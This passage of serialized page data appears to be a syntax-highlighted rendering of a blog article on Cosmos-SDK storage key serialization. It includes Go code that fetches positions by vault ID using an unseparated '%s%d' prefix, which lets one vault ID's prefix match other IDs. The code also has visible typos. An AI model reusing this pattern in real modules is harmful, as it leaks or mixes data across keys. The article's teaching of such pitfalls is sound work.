29520},{"type":24,"tag":147,"props":93090,"children":93091},{"class":149,"line":358},[93092,93096,93100,93104,93108,93112,93116,93120],{"type":24,"tag":147,"props":93093,"children":93094},{"style":247},[93095],{"type":29,"value":91175},{"type":24,"tag":147,"props":93097,"children":93098},{"style":235},[93099],{"type":29,"value":87},{"type":24,"tag":147,"props":93101,"children":93102},{"style":229},[93103],{"type":29,"value":91229},{"type":24,"tag":147,"props":93105,"children":93106},{"style":235},[93107],{"type":29,"value":480},{"type":24,"tag":147,"props":93109,"children":93110},{"style":247},[93111],{"type":29,"value":91138},{"type":24,"tag":147,"props":93113,"children":93114},{"style":235},[93115],{"type":29,"value":546},{"type":24,"tag":147,"props":93117,"children":93118},{"style":247},[93119],{"type":29,"value":91054},{"type":24,"tag":147,"props":93121,"children":93122},{"style":235},[93123],{"type":29,"value":269},{"type":24,"tag":147,"props":93125,"children":93126},{"class":149,"line":397},[93127],{"type":24,"tag":147,"props":93128,"children":93129},{"emptyLinePlaceholder":16},[93130],{"type":29,"value":314},{"type":24,"tag":147,"props":93132,"children":93133},{"class":149,"line":421},[93134,93138,93142,93146],{"type":24,"tag":147,"props":93135,"children":93136},{"style":247},[93137],{"type":29,"value":92139},{"type":24,"tag":147,"props":93139,"children":93140},{"style":241},[93141],{"type":29,"value":82000},{"type":24,"tag":147,"props":93143,"children":93144},{"style":229},[93145],{"type":29,"value":91147},{"type":24,"tag":147,"props":93147,"children":93148},{"style":235},[93149],{"type":29,"value":9088},{"type":24,"tag":147,"props":93151,"children":93152},{"class":149,"line":435},[93153,93157,93161],{"type":24,"tag":147,"props":93154,"children":93155},{"style":235},[93156],{"type":29,"value":92038},{"type":24,"tag":147,"props":93158,"children":93159},{"style":9044},[93160],{"type":29,"value":90348},{"type":24,"tag":147,"props":93162,"children":93163},{"style":235},[93164],{"type":29,"value":1549},{"type":24,"tag":147,"props":93166,"children":93167},{"class":149,"line":444},[93168,93172,93176,93180,93184,93188,93192,93196],{"type":24,"tag":147,"props":93169,"children":93170},{"style":247},[93171],{"type":29,"value":92054},{"type":24,"tag":147,"props":93173,"children":93174},{"style":235},[93175],{"type":29,"value":87},{"type":24,"tag":147,"props":93177,"children":93178},{"style":229},[93179],{"type":29,"value":91184},{"type":24,"tag":147,"props":93181,"children":93182},{"style":235},[93183],{"type":29,"value":480},{"type":24,"tag":147,"props":93185,"children":93186},{"style":229},[93187],{"type":29,"value":6227},{"type":24,"tag":147,"props":93189,"children":93190},{"style":235},[93191],{"type":29,"value":480},{"type":24,"tag":147,"props":93193,"children":93194},{"style":247},[93195],{"type":29,"value":91323},{"type":24,"tag":147,"props":93197,"children":93198},{"style":235},[93199],{"type":29,"value":91205},{"type":24,"tag":147,"props":93201,"children":93202},{"class":149,"line":452},[93203],{"type":24,"tag":147,"props":93204,"children":93205},{"style":235},[93206],{"type":29,"value":29520},{"type":24,"tag":147,"props":93208,"children":93209},{"class":149,"line":461},[93210,93214,93218,93222,93226,93230,93234,93238],{"type":24,"tag":147,"props":93211,"children":93212},{"style":247},[93213],{"type":29,"value":91175},{"type":24,"tag":147,"props":93215,"children":93216},{"style":235},[93217],{"type":29,"value":87},{"type":24,"tag":147,"props":93219,"children":93220},{"style":229},[93221],{"type":29,"value":91229},{"type":24,"tag":147,"props":93223,"children":93224},{"style":235},[93225],{"type":29,"value":480},{"type":24,"tag":147,"props":93227,"children":93228},{"style":247},[93229],{"type":29,"value":91264},{"type":24,"tag":147,"props":93231,"children":93232},{"style":235},[93233],{"type":29,"value":546},{"type":24,"tag":147,"props":93235,"children":93236},{"style":247},[93237],{"type":29,"value":91323},{"type":24,"tag":147,"props":93239,"children":93240},{"style":235},[93241],{"type":29,"value":269},{"type":24,"tag":147,"props":93243,"children":93244},{"class":149,"line":469},[93245],{"type":24,"tag":147,"props":93246,"children":93247},{"emptyLinePlaceholder":16},[93248],{"type":29,"value":314},{"type":24,"tag":147,"props":93250,"children":93251},{"class":149,"line":508},[93252,93256,93260,93264,93268,93272],{"type":24,"tag":147,"props":93253,"children":93254},{"style":247},[93255],{"type":29,"value":92258},{"type":24,"tag":147,"props":93257,"children":93258},{"style":241},[93259],{"type":29,"value":82000},{"type":24,"tag":147,"props":93261,"children":93262},{"style":247},[93263],{"type":29,"value":87818},{"type":24,"tag":147,"props":93265,"children":93266},{"style":235},[93267],{"type":29,"value":87},{"type":24,"tag":147,"props":93269,"children":93270},{"style":229},[93271],{"type":29,"value":90806},{"type":24,"tag":147,"props":93273,"children":93274},{"style":235},[93275],{"type":29,"value":9088},{"type":24,"tag":147,"props":93277,"children":93278},{"class":149,"line":572},[93279,93284],{"type":24,"tag":147,"props":93280,"children":93281},{"style":3534},[93282],{"type":29,"value":93283},"        \"%s%d%s%s%s%s\"",{"type":24,"tag":147,"props":93285,"children":93286},{"style":235},[93287],{"type":29,"value":1549},{"type":24,"tag":147,"props":93289,"children":93290},{"class":149,"line":591},[93291,93296],{"type":24,"tag":147,"props":93292,"children":93293},{"style":247},[93294],{"type":29,"value":93295},"        PositionMapPrefix",{"type":24,"tag":147,"props":93297,"children":93298},{"style":235},[93299],{"type":29,"value":1549},{"type":24,"tag":147,"props":93301,"children":93302},{"class":149,"line":632},[93303,93307],{"type":24,"tag":147,"props":93304,"children":93305},{"style":247},[93306],{"type":29,"value":92298},{"type":24,"tag":147,"props":93308,"children":93309},{"style":235},[93310],{"type":29,"value":1549},{"type":24,"tag":147,"props":93312,"children":93313},{"class":149,"line":659},[93314,93318],{"type":24,"tag":147,"props":93315,"children":93316},{"style":247},[93317],{"type":29,"value":92310},{"type":24,"tag":147,"props":93319,"children":93320},{"style":235},[93321],{"type":29,"value":1549},{"type":24,"tag":147,"props":93323,"children":93324},{"class":149,"line":684},[93325,93329],{"type":24,"tag":147,"props":93326,"children":93327},{"style":247},[93328],{"type":29,"value":92322},{"type":24,"tag":147,"props":93330,"children":93331},{"style":235},[93332],{"type":29,"value":1549},{"type":24,"tag":147,"props":93334,"children":93335},{"class":149,"line":715},[93336,93340],{"type":24,"tag":147,"props":93337,"children":93338},{"style":247},[93339],{"type":29,"value":92310},{"type":24,"tag":147,"props":93341,"children":93342},{"style":235},[93343],{"type":29,"value":1549},{"type":24,"tag":147,"props":93345,"children":93346},{"class":149,"line":744},[93347,93351],{"type":24,"tag":147,"props":93348,"children":93349},{"style":247},[93350],{"type":29,"value":92345},{"type":24,"tag":147,"props":93352,"children":93353},{"style":235},[93354],{"type":29,"value":1549},{"type":24,"tag":147,"props":93356,"children":93357},{"class":149,"line":784},[93358],{"type":24,"tag":147,"props":93359,"children":93360},{"style":235},[93361],{"type":29,"value":29520},{"type":24,"tag":147,"props":93363,"children":93364},{"class":149,"line":792},[93365],{"type":24,"tag":147,"props":93366,"children":93367},{"style":235},[93368],{"type":29,"value":827},{"type":24,"tag":147,"props":93370,"children":93371},{"class":149,"line":805},[93372],{"type":24,"tag":147,"props":93373,"children":93374},{"emptyLinePlaceholder":16},[93375],{"type":29,"value":314},{"type":24,"tag":147,"props":93377,"children":93378},{"class":149,"line":813},[93379],{"type":24,"tag":147,"props":93380,"children":93381},{"emptyLinePlaceholder":16},[93382],{"type":29,"value":314},{"type":24,"tag":147,"props":93384,"children":93385},{"class":149,"line":821},[93386,93390,93394],{"type":24,"tag":147,"props":93387,"children":93388},{"style":218},[93389],{"type":29,"value":81884},{"type":24,"tag":147,"props":93391,"children":93392},{"style":229},[93393],{"type":29,"value":92389},{"type":24,"tag":147,"props":93395,"children":93396},{"style":235},[93397],{"type":29,"value":9088},{"type":24,"tag":147,"props":93399,"children":93400},{"class":149,"line":1902},[93401,93405,93409],{"type":24,"tag":147,"props":93402,"children":93403},{"style":247},[93404],{"type":29,"value":90830},{"type":24,"tag":147,"props":93406,"children":93407},{"style":9044},[93408],{"type":29,"value":82005},{"type":24,"tag":147,"props":93410,"children":93411},{"style":235},[93412],{"type":29,"value":1549},{"type":24,"tag":147,"props":93414,"children":93415},{"class":149,"line":1920},[93416,93420,93424,93428,93432,93436],{"type":24,"tag":147,"props":93417,"children":93418},{"style":247},[93419],{"type":29,"value":90842},{"type":24,"tag":147,"props":93421,"children":93422},{"style":235},[93423],{"type":29,"value":546},{"type":24,"tag":147,"props":93425,"children":93426},{"style":247},[93427],{"type":29,"value":92424},{"type":24,"tag":147,"props":93429,"children":93430},{"style":235},[93431],{"type":29,"value":81811},{"type":24,"tag":147,"props":93433,"children":93434},{"style":9044},[93435],{"type":29,"value":90348},{"type":24,"tag":147,"props":93437,"children":93438},{"style":235},[93439],{"type":29,"value":1549},{"type":24,"tag":147,"props":93441,"children":93442},{"class":149,"line":1929},[93443,93447,93451,93455,93459],{"type":24,"tag":147,"props":93444,"children":93445},{"style":235},[93446],{"type":29,"value":81966},{"type":24,"tag":147,"props":93448,"children":93449},{"style":247},[93450],{"type":29,"value":77738},{"type":24,"tag":147,"props":93452,"children":93453},{"style":235},[93454],{"type":29,"value":81811},{"type":24,"tag":147,"props":93456,"children":93457},{"style":9044},[93458],{"type":29,"value":90348},{"type":24,"tag":147,"props":93460,"children":93461},{"style":235},[93462],{"type":29,"value":505},{"type":24,"tag":147,"props":93464,"children":93465},{"class":149,"line":1938},[93466,93470,93474,93478],{"type":24,"tag":147,"props":93467,"children":93468},{"style":247},[93469],{"type":29,"value":91444},{"type":24,"tag":147,"props":93471,"children":93472},{"style":241},[93473],{"type":29,"value":82000},{"type":24,"tag":147,"props":93475,"children":93476},{"style":229},[93477],{"type":29,"value":91147},{"type":24,"tag":147,"props":93479,"children":93480},{"style":235},[93481],{"type":29,"value":9088},{"type":24,"tag":147,"props":93483,"children":93484},{"class":149,"line":1946},[93485,93489,93493],{"type":24,"tag":147,"props":93486,"children":93487},{"style":235},[93488],{"type":29,"value":92038},{"type":24,"tag":147,"props":93490,"children":93491},{"style":9044},[93492],{"type":29,"value":90348},{"type":24,"tag":147,"props":93494,"children":93495},{"style":235},[93496],{"type":29,"value":1549},{"type":24,"tag":147,"props":93498,"children":93499},{"class":149,"line":1955},[93500,93504,93508,93512,93516,93520,93524,93528],{"type":24,"tag":147,"props":93501,"children":93502},{"style":247},[93503],{"type":29,"value":92054},{"type":24,"tag":147,"props":93505,"children":93506},{"style":235},[93507],{"type":29,"value":87},{"type":24,"tag":147,"props":93509,"children":93510},{"style":229},[93511],{"type":29,"value":91184},{"type":24,"tag":147,"props":93513,"children":93514},{"style":235},[93515],{"type":29,"value":480},{"type":24,"tag":147,"props":93517,"children":93518},{"style":229},[93519],{"type":29,"value":6227},{"type":24,"tag":147,"props":93521,"children":93522},{"style":235},[93523],{"type":29,"value":480},{"type":24,"tag":147,"props":93525,"children":93526},{"style":247},[93527],{"type":29,"value":91054},{"type":24,"tag":147,"props":93529,"children":93530},{"style":235},[93531],{"type":29,"value":91205},{"type":24,"tag":147,"props":93533,"children":93534},{"class":149,"line":29376},[93535],{"type":24,"tag":147,"props":93536,"children":93537},{"style":235},[93538],{"type":29,"value":29520},{"type":24,"tag":147,"props":93540,"children":93541},{"class":149,"line":29384},[93542,93546,93550,93554,93558,93562,93566,93570],{"type":24,"tag":147,"props":93543,"children":93544},{"style":247},[93545],{"type":29,"value":91175},{"type":24,"tag":147,"props":93547,"children":93548},{"style":235},[93549],{"type":29,"value":87},{"type":24,"tag":147,"props":93551,"children":93552},{"style":229},[93553],{"type":29,"value":91229},{"type":24,"tag":147,"props":93555,"children":93556},{"style":235},[93557],{"type":29,"value":480},{"type":24,"tag":147,"props":93559,"children":93560},{"style":247},[93561],{"type":29,"value":91138},{"type":24,"tag":147,"props":93563,"children":93564},{"style":235},[93565],{"type":29,"value":546},{"type":24,"tag":147,"props":93567,"children":93568},{"style":247},[93569],{"type":29,"value":91054},{"type":24,"tag":147,"props":93571,"children":93572},{"style":235},[93573],{"type":29,"value":269},{"type":24,"tag":147,"props":93575,"children":93576},{"class":149,"line":29421},[93577],{"type":24,"tag":147,"props":93578,"children":93579},{"emptyLinePlaceholder":16},[93580],{"type":29,"value":314},{"type":24,"tag":147,"props":93582,"children":93583},{"class":149,"line":29434},[93584,93588,93592,93596],{"type":24,"tag":147,"props":93585,"children":93586},{"style":247},[93587],{"type":29,"value":92581},{"type":24,"tag":147,"props":93589,"children":93590},{"style":241},[93591],{"type":29,"value":82000},{"type":24,"tag":147,"props":93593,"children":93594},{"style":229},[93595],{"type":29,"value":91147},{"type":24,"tag":147,"props":93597,"children":93598},{"style":235},[93599],{"type":29,"value":9088},{"type":24,"tag":147,"props":93601,"children":93602},{"class":149,"line":29447},[93603,93607,93611],{"type":24,"tag":147,"props":93604,"children":93605},{"style":235},[93606],{"type":29,"value":92038},{"type":24,"tag":147,"props":93608,"children":93609},{"style":9044},[93610],{"type":29,"value":90348},{"type":24,"tag":147,"props":93612,"children":93613},{"style":235},[93614],{"type":29,"value":1549},{"type":24,"tag":147,"props":93616,"children":93617},{"class":149,"line":29460},[93618,93622,93626,93630,93634,93638,93642,93646],{"type":24,"tag":147,"props":93619,"children":93620},{"style":247},[93621],{"type":29,"value":92054},{"type":24,"tag":147,"props":93623,"children":93624},{"style":235},[93625],{"type":29,"value":87},{"type":24,"tag":147,"props":93627,"children":93628},{"style":229},[93629],{"type":29,"value":91184},{"type":24,"tag":147,"props":93631,"children":93632},{"style":235},[93633],{"type":29,"value":480},{"type":24,"tag":147,"props":93635,"children":93636},{"style":229},[93637],{"type":29,"value":6227},{"type":24,"tag":147,"props":93639,"children":93640},{"style":235},[93641],{"type":29,"value":480},{"type":24,"tag":147,"props":93643,"children":93644},{"style":247},[93645],{"type":29,"value":92424},{"type":24,"tag":147,"props":93647,"children":93648},{"style":235},[93649],{"type":29,"value":91205},{"type":24,"tag":147,"props":93651,"children":93652},{"class":149,"line":29514},[93653],{"type":24,"tag":147,"props":93654,"children":93655},{"style":235},[93656],{"type":29,"value":29520},{"type":24,"tag":147,"props":93658,"children":93659},{"class":149,"line":29523},[93660,93664,93668,93672,93676,93680,93684,93688],{"type":24,"tag":147,"props":93661,"children":93662},{"style":247},[93663],{"type":29,"value":91175},{"type":24,"tag":147,"props":93665,"children":93666},{"style":235},[93667],{"type":29,"value":87},{"type":24,"tag":147,"props":93669,"children":93670},{"style":229},[93671],{"type":29,"value":91229},{"type":24,"tag":147,"props":93673,"children":93674},{"style":235},[93675],{"type":29,"value":480},{"type":24,"tag":147,"props":93677,"children":93678},{"style":247},[93679],{"type":29,"value":92674},{"type":24,"tag":147,"props":93681,"children":93682},{"style":235},[93683],{"type":29,"value":546},{"type":24,"tag":147,"props":93685,"children":93686},{"style":247},[93687],{"type":29,"value":92424},{"type":24,"tag":147,"props":93689,"children":93690},{"style":235},[93691],{"type":29,"value":269},{"type":24,"tag":147,"props":93693,"children":93694},{"class":149,"line":37881},[93695],{"type":24,"tag":147,"props":93696,"children":93697},{"emptyLinePlaceholder":16},[93698],{"type":29,"value":314},{"type":24,"tag":147,"props":93700,"children":93701},{"class":149,"line":37902},[93702,93706,93710,93714,93718,93722],{"type":24,"tag":147,"props":93703,"children":93704},{"style":247},[93705],{"type":29,"value":92258},{"type":24,"tag":147,"props":93707,"children":93708},{"style":241},[93709],{"type":29,"value":82000},{"type":24,"tag":147,"props":93711,"children":93712},{"style":247},[93713],{"type":29,"value":87818},{"type":24,"tag":147,"props":93715,"children":93716},{"style":235},[93717],{"type":29,"value":87},{"type":24,"tag":147,"props":93719,"children":93720},{"style":229},[93721],{"type":29,"value":90806},{"type":24,"tag":147,"props":93723,"children":93724},{"style":235},[93725],{"type":29,"value":9088},{"type":24,"tag":147,"props":93727,"children":93728},{"class":149,"line":86535},[93729,93733],{"type":24,"tag":147,"props":93730,"children":93731},{"style":3534},[93732],{"type":29,"value":93283},{"type":24,"tag":147,"props":93734,"children":93735},{"style":235},[93736],{"type":29,"value":1549},{"type":24,"tag":147,"props":93738,"children":93739},{"class":149,"line":86548},[93740,93745],{"type":24,"tag":147,"props":93741,"children":93742},{"style":247},[93743],{"type":29,"value":93744},"        AddressMapPrefix",{"type":24,"tag":147,"props":93746,"children":93747},{"style":235},[93748],{"type":29,"value":1549},{"type":24,"tag":147,"props":93750,"children":93751},{"class":149,"line":86556},[93752,93756],{"type":24,"tag":147,"props":93753,"children":93754},{"style":247},[93755],{"type":29,"value":92298},{"type":24,"tag":147,"props":93757,"children":93758},{"style":235},[93759],{"type":29,"value":1549},{"type":24,"tag":147,"props":93761,"children":93762},{"class":149,"line":86564},[93763,93767],{"type":24,"tag":147,"props":93764,"children":93765},{"style":247},[93766],{"type":29,"value":92310},{"type":24,"tag":147,"props":93768,"children":93769},{"style":235},[93770],{"type":29,"value":1549},{"type":24,"tag":147,"props":93772,"children":93773},{"class":149,"line":86572},[93774,93778],{"type":24,"tag":147,"props":93775,"children":93776},{"style":247},[93777],{"type":29,"value":92322},{"type":24,"tag":147,"props":93779,"children":93780},{"style":235},[93781],{"type":29,"value":1549},{"type":24,"tag":147,"props":93783,"children":93784},{"class":149,"line":86612},[93785,93789],{"type":24,"tag":147,"props":93786,"children":93787},{"style":247},[93788],{"type":29,"value":92310},{"type":24,"tag":147,"props":93790,"children":93791},{"style":235},[93792],{"type":29,"value":1549},{"type":24,"tag":147,"props":93794,"children":93795},{"class":149,"line":86620},[93796,93800],{"type":24,"tag":147,"props":93797,"children":93798},{"style":247},[93799],{"type":29,"value":92783},{"type":24,"tag":147,"props":93801,"children":93802},{"style":235},[93803],{"type":29,"value":1549},{"type":24,"tag":147,"props":93805,"children":93807},{"class":149,"line":93806},60,[93808],{"type":24,"tag":147,"props":93809,"children":93810},{"style":235},[93811],{"type":29,"value":29520},{"type":24,"tag":147,"props":93813,"children":93815},{"class":149,"line":93814},61,[93816],{"type":24,"tag":147,"props":93817,"children":93818},{"style":235},[93819],{"type":29,"value":827},{"type":24,"tag":25,"props":93821,"children":93822},{},[93823],{"type":29,"value":93824},"We now have a proper example of how to serialize storage keys.",{"type":24,"tag":25,"props":93826,"children":93827},{},[93828,93830,93835],{"type":29,"value":93829},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":24,"tag":80,"props":93831,"children":93833},{"className":93832},[],[93834],{"type":29,"value":72684},{"type":29,"value":93836},", data should still be retrievable through original keys.",{"type":24,"tag":25,"props":93838,"children":93839},{},[93840,93842,93848,93850,93855],{"type":29,"value":93841},"Let's look at a case where we want to retrieve all ",{"type":24,"tag":80,"props":93843,"children":93845},{"className":93844},[],[93846],{"type":29,"value":93847},"map[Username]map[PositionName]Position",{"type":29,"value":93849}," associated with a ",{"type":24,"tag":80,"props":93851,"children":93853},{"className":93852},[],[93854],{"type":29,"value":90718},{"type":29,"value":93856}," from the storage. How can we safely accomplish this?",{"type":24,"tag":25,"props":93858,"children":93859},{},[93860,93862,93867,93869,93875],{"type":29,"value":93861},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":24,"tag":80,"props":93863,"children":93865},{"className":93864},[],[93866],{"type":29,"value":90789},{"type":29,"value":93868}," prefix. Below is an example of an attempt to fetch data with ",{"type":24,"tag":80,"props":93870,"children":93872},{"className":93871},[],[93873],{"type":29,"value":93874},"vaultId",{"type":29,"value":978},{"type":24,"tag":137,"props":93877,"children":93879},{"code":93878,"language":81748,"meta":7,"className":81749,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[93880],{"type":24,"tag":80,"props":93881,"children":93882},{"__ignoreMap":7},[93883,93899,93914,93963,94015,94044,94056,94102,94109,94155,94210,94217,94281,94342,94365,94384,94391,94398,94458,94517,94540,94559,94566,94573,94626,94674,94681,94688,94728,94757,94764,94771,94783],{"type":24,"tag":147,"props":93884,"children":93885},{"class":149,"line":150},[93886,93890,93895],{"type":24,"tag":147,"props":93887,"children":93888},{"style":218},[93889],{"type":29,"value":81884},{"type":24,"tag":147,"props":93891,"children":93892},{"style":229},[93893],{"type":29,"value":93894}," FetchPositionMapWithVaultId",{"type":24,"tag":147,"props":93896,"children":93897},{"style":235},[93898],{"type":29,"value":9088},{"type":24,"tag":147,"props":93900,"children":93901},{"class":149,"line":160},[93902,93906,93910],{"type":24,"tag":147,"props":93903,"children":93904},{"style":247},[93905],{"type":29,"value":90830},{"type":24,"tag":147,"props":93907,"children":93908},{"style":9044},[93909],{"type":29,"value":82005},{"type":24,"tag":147,"props":93911,"children":93912},{"style":235},[93913],{"type":29,"value":1549},{"type":24,"tag":147,"props":93915,"children":93916},{"class":149,"line":169},[93917,93922,93926,93930,93934,93938,93942,93946,93950,93954,93959],{"type":24,"tag":147,"props":93918,"children":93919},{"style":235},[93920],{"type":29,"value":93921},") ([]",{"type":24,"tag":147,"props":93923,"children":93924},{"style":218},[93925],{"type":29,"value":72684},{"type":24,"tag":147,"props":93927,"children":93928},{"style":235},[93929],{"type":29,"value":9358},{"type":24,"tag":147,"props":93931,"children":93932},{"style":9044},[93933],{"type":29,"value":90735},{"type":24,"tag":147,"props":93935,"children":93936},{"style":235},[93937],{"type":29,"value":21023},{"type":24,"tag":147,"props":93939,"children":93940},{"style":218},[93941],{"type":29,"value":72684},{"type":24,"tag":147,"props":93943,"children":93944},{"style":235},[93945],{"type":29,"value":9358},{"type":24,"tag":147,"props":93947,"children":93948},{"style":9044},[93949],{"type":29,"value":90752},{"type":24,"tag":147,"props":93951,"children":93952},{"style":235},[93953],{"type":29,"value":21023},{"type":24,"tag":147,"props":93955,"children":93956},{"style":9044},[93957],{"type":29,"value":93958},"Position",{"type":24,"tag":147,"props":93960,"children":93961},{"style":235},[93962],{"type":29,"value":505},{"type":24,"tag":147,"props":93964,"children":93965},{"class":149,"line":178},[93966,93971,93975,93979,93983,93987,93991,93995,93999,94003,94007,94011],{"type":24,"tag":147,"props":93967,"children":93968},{"style":247},[93969],{"type":29,"value":93970},"    values",{"type":24,"tag":147,"props":93972,"children":93973},{"style":241},[93974],{"type":29,"value":82000},{"type":24,"tag":147,"props":93976,"children":93977},{"style":218},[93978],{"type":29,"value":55266},{"type":24,"tag":147,"props":93980,"children":93981},{"style":235},[93982],{"type":29,"value":9358},{"type":24,"tag":147,"props":93984,"children":93985},{"style":9044},[93986],{"type":29,"value":90735},{"type":24,"tag":147,"props":93988,"children":93989},{"style":235},[93990],{"type":29,"value":21023},{"type":24,"tag":147,"props":93992,"children":93993},{"style":218},[93994],{"type":29,"value":72684},{"type":24,"tag":147,"props":93996,"children":93997},{"style":235},[93998],{"type":29,"value":9358},{"type":24,"tag":147,"props":94000,"children":94001},{"style":9044},[94002],{"type":29,"value":90752},{"type":24,"tag":147,"props":94004,"children":94005},{"style":235},[94006],{"type":29,"value":21023},{"type":24,"tag":147,"props":94008,"children":94009},{"style":9044},[94010],{"type":29,"value":93958},{"type":24,"tag":147,"props":94012,"children":94013},{"style":235},[94014],{"type":29,"value":83681},{"type":24,"tag":147,"props":94016,"children":94017},{"class":149,"line":187},[94018,94023,94027,94031,94035,94040],{"type":24,"tag":147,"props":94019,"children":94020},{"style":247},[94021],{"type":29,"value":94022},"    i",{"type":24,"tag":147,"props":94024,"children":94025},{"style":241},[94026],{"type":29,"value":82000},{"type":24,"tag":147,"props":94028,"children":94029},{"style":247},[94030],{"type":29,"value":84225},{"type":24,"tag":147,"props":94032,"children":94033},{"style":235},[94034],{"type":29,"value":87},{"type":24,"tag":147,"props":94036,"children":94037},{"style":229},[94038],{"type":29,"value":94039},"KVStorePrefixIterator",{"type":24,"tag":147,"props":94041,"children":94042},{"style":235},[94043],{"type":29,"value":9088},{"type":24,"tag":147,"props":94045,"children":94046},{"class":149,"line":196},[94047,94052],{"type":24,"tag":147,"props":94048,"children":94049},{"style":247},[94050],{"type":29,"value":94051},"        kvStore",{"type":24,"tag":147,"props":94053,"children":94054},{"style":235},[94055],{"type":29,"value":1549},{"type":24,"tag":147,"props":94057,"children":94058},{"class":149,"line":205},[94059,94064,94068,94072,94076,94081,94085,94090,94094,94098],{"type":24,"tag":147,"props":94060,"children":94061},{"style":247},[94062],{"type":29,"value":94063},"        fmt",{"type":24,"tag":147,"props":94065,"children":94066},{"style":235},[94067],{"type":29,"value":87},{"type":24,"tag":147,"props":94069,"children":94070},{"style":229},[94071],{"type":29,"value":90806},{"type":24,"tag":147,"props":94073,"children":94074},{"style":235},[94075],{"type":29,"value":480},{"type":24,"tag":147,"props":94077,"children":94078},{"style":3534},[94079],{"type":29,"value":94080},"\"%s%d\"",{"type":24,"tag":147,"props":94082,"children":94083},{"style":235},[94084],{"type":29,"value":546},{"type":24,"tag":147,"props":94086,"children":94087},{"style":247},[94088],{"type":29,"value":94089},"PositionMapPrefix",{"type":24,"tag":147,"props":94091,"children":94092},{"style":235},[94093],{"type":29,"value":546},{"type":24,"tag":147,"props":94095,"children":94096},{"style":247},[94097],{"type":29,"value":93874},{"type":24,"tag":147,"props":94099,"children":94100},{"style":235},[94101],{"type":29,"value":269},{"type":24,"tag":147,"props":94103,"children":94104},{"class":149,"line":214},[94105],{"type":24,"tag":147,"props":94106,"children":94107},{"style":235},[94108],{"type":29,"value":29520},{"type":24,"tag":147,"props":94110,"children":94111},{"class":149,"line":272},[94112,94116,94121,94125,94129,94134,94138,94142,94146,94151],{"type":24,"tag":147,"props":94113,"children":94114},{"style":321},[94115],{"type":29,"value":324},{"type":24,"tag":147,"props":94117,"children":94118},{"style":235},[94119],{"type":29,"value":94120}," ; ",{"type":24,"tag":147,"props":94122,"children":94123},{"style":247},[94124],{"type":29,"value":9363},{"type":24,"tag":147,"props":94126,"children":94127},{"style":235},[94128],{"type":29,"value":87},{"type":24,"tag":147,"props":94130,"children":94131},{"style":229},[94132],{"type":29,"value":94133},"Valid",{"type":24,"tag":147,"props":94135,"children":94136},{"style":235},[94137],{"type":29,"value":34050},{"type":24,"tag":147,"props":94139,"children":94140},{"style":247},[94141],{"type":29,"value":9363},{"type":24,"tag":147,"props":94143,"children":94144},{"style":235},[94145],{"type":29,"value":87},{"type":24,"tag":147,"props":94147,"children":94148},{"style":229},[94149],{"type":29,"value":94150},"Next",{"type":24,"tag":147,"props":94152,"children":94153},{"style":235},[94154],{"type":29,"value":21347},{"type":24,"tag":147,"props":94156,"children":94157},{"class":149,"line":281},[94158,94163,94167,94172,94176,94180,94184,94188,94192,94197,94201,94206],{"type":24,"tag":147,"props":94159,"children":94160},{"style":247},[94161],{"type":29,"value":94162},"        k",{"type":24,"tag":147,"props":94164,"children":94165},{"style":241},[94166],{"type":29,"value":82000},{"type":24,"tag":147,"props":94168,"children":94169},{"style":247},[94170],{"type":29,"value":94171}," strings",{"type":24,"tag":147,"props":94173,"children":94174},{"style":235},[94175],{"type":29,"value":87},{"type":24,"tag":147,"props":94177,"children":94178},{"style":229},[94179],{"type":29,"value":75625},{"type":24,"tag":147,"props":94181,"children":94182},{"style":235},[94183],{"type":29,"value":480},{"type":24,"tag":147,"props":94185,"children":94186},{"style":247},[94187],{"type":29,"value":9363},{"type":24,"tag":147,"props":94189,"children":94190},{"style":235},[94191],{"type":29,"value":87},{"type":24,"tag":147,"props":94193,"children":94194},{"style":229},[94195],{"type":29,"value":94196},"Key",{"type":24,"tag":147,"props":94198,"children":94199},{"style":235},[94200],{"type":29,"value":23982},{"type":24,"tag":147,"props":94202,"children":94203},{"style":247},[94204],{"type":29,"value":94205},"Seperator",{"type":24,"tag":147,"props":94207,"children":94208},{"style":235},[94209],{"type":29,"value":269},{"type":24,"tag":147,"props":94211,"children":94212},{"class":149,"line":299},[94213],{"type":24,"tag":147,"props":94214,"children":94215},{"emptyLinePlaceholder":16},[94216],{"type":29,"value":314},{"type":24,"tag":147,"props":94218,"children":94219},{"class":149,"line":308},[94220,94225,94229,94233,94238,94242,94246,94250,94254,94259,94263,94268,94272,94276],{"type":24,"tag":147,"props":94221,"children":94222},{"style":247},[94223],{"type":29,"value":94224},"        username",{"type":24,"tag":147,"props":94226,"children":94227},{"style":241},[94228],{"type":29,"value":82000},{"type":24,"tag":147,"props":94230,"children":94231},{"style":229},[94232],{"type":29,"value":91147},{"type":24,"tag":147,"props":94234,"children":94235},{"style":235},[94236],{"type":29,"value":94237},"([]",{"type":24,"tag":147,"props":94239,"children":94240},{"style":9044},[94241],{"type":29,"value":90348},{"type":24,"tag":147,"props":94243,"children":94244},{"style":235},[94245],{"type":29,"value":546},{"type":24,"tag":147,"props":94247,"children":94248},{"style":247},[94249],{"type":29,"value":91220},{"type":24,"tag":147,"props":94251,"children":94252},{"style":235},[94253],{"type":29,"value":87},{"type":24,"tag":147,"props":94255,"children":94256},{"style":229},[94257],{"type":29,"value":94258},"DecodedLen",{"type":24,"tag":147,"props":94260,"children":94261},{"style":235},[94262],{"type":29,"value":480},{"type":24,"tag":147,"props":94264,"children":94265},{"style":247},[94266],{"type":29,"value":94267},"k",{"type":24,"tag":147,"props":94269,"children":94270},{"style":235},[94271],{"type":29,"value":9358},{"type":24,"tag":147,"props":94273,"children":94274},{"style":705},[94275],{"type":29,"value":3173},{"type":24,"tag":147,"props":94277,"children":94278},{"style":235},[94279],{"type":